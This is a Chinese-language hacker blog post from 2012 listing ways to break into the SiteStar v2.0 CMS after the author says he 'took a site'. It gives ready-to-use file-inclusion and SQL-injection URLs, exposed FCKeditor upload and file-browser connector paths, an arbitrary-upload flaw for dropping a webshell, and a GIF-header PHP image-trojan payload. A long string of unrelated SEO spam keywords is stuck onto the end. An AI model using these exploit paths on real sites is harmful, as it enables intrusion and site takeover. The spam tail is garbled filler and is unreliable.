原文http://lcx.cc/?i=2324
前两天拿个站，
系统是：建站之星 (SiteStar)
v2.0，自己看了看，又综合了网上的各种漏洞，整理了一份漏洞大全，这套程序浑身都是窟窿，无语中……
记录时间：
2012-3-10 14:24:43
By: Nuclear'Atk, Url: Http://lcx.cc/
程序名称：
建站之星 (SiteStar) v2.0
建站之星 SiteStar 网站管理系统 v2.0
漏洞详情：
1、本地任意文件包含漏洞：
http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
详细：http://lcx.cc/?FoxNews=2319.html 问题出在：/library/content.PHP,
行：14。
利用：配合文件上传，上传图片，可以瞬间拿下。
图片：GIF89a<?php phpinfo();?>
2、在线编辑器：
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
可以上传图片、浏览文件、新建文件夹等。
3、任意文件上传漏洞：
漏洞产生在 /script/multiupload/uploadify.php 文件。
低级失误，通过构造html表单可直接上传webshell至web目录。
详细：http://lcx.cc/?FoxNews=2320.html
4、Sql 注入漏洞：
地址：
http://192.168.1.2/index.php?_m=mod_product&_a=prdlist&cap_id=46%Inject_Here%
http://192.168.1.2/index.php?_m=mod_product&_a=view&p_id=56%Inject_Here%
数据库类型：MySQL time based injection
参数类型：Integer
其他漏洞：
路径 {
http://127.0.0.1/admin/
http://127.0.0.1/admin/index.php
http://127.0.0.1/admin/FCKeditor/
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
}
漏洞 {
任意文件包含：http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
Sql
注入漏洞：http://127.0.0.1/index.php?_m=mod_product&_a=prdlist&cap_id=37%Inject_Here%
}
编辑器 {
编辑器：http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
上传：http://127.0.0.1/admin/fckeditor/browser/browser.html?Connector=connector.php
包含：http://127.0.0.1/index.php?_m=/../index.php.htmlmod_product&_a=prdlist
文件浏览：http://127.0.0.1/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
上传路径：/admin/fckeditor/browser/../../../upload/file/baidu_sylogo1.gif
可以创建 a.asp 目录，上传图片木马。
各种路径(太多了，只记了部分) {
/admin/fckeditor/browser/browser.html?Connector=connector.php
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Flash&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Media&CurrentFolder=/
}
}
遵义官网seo大神黑龙江建设网安管人员管理系统入口官网重庆网页设计代码深圳公司注册外资企业费用黄骅市鑫海集团董事长微商免费推广软件济南市疫情最新消息今天 四十一例病人的各区分布情况上海工商网上办事大厅app南昌建设工程造价信息期刊html怎么做条件判断添加属性图片免费素材常德政府网站 20年用爱心铸就大美师魂中型企业网络拓扑图沈阳市城乡建设局官方网站引流推广工作精美设计包装设计网站网络培训课程怎么快进微信小程序免费登录平台研发app成本响应式布局字体超出西安网页设计师培训价格网络培训心得简短属于个人网站的有哪些响应式布局类型惠州网站专业制作廉洁长沙公众号广告设计与制作的主要课程长沙家装哈尔滨代办营业执照重庆市政府网站设计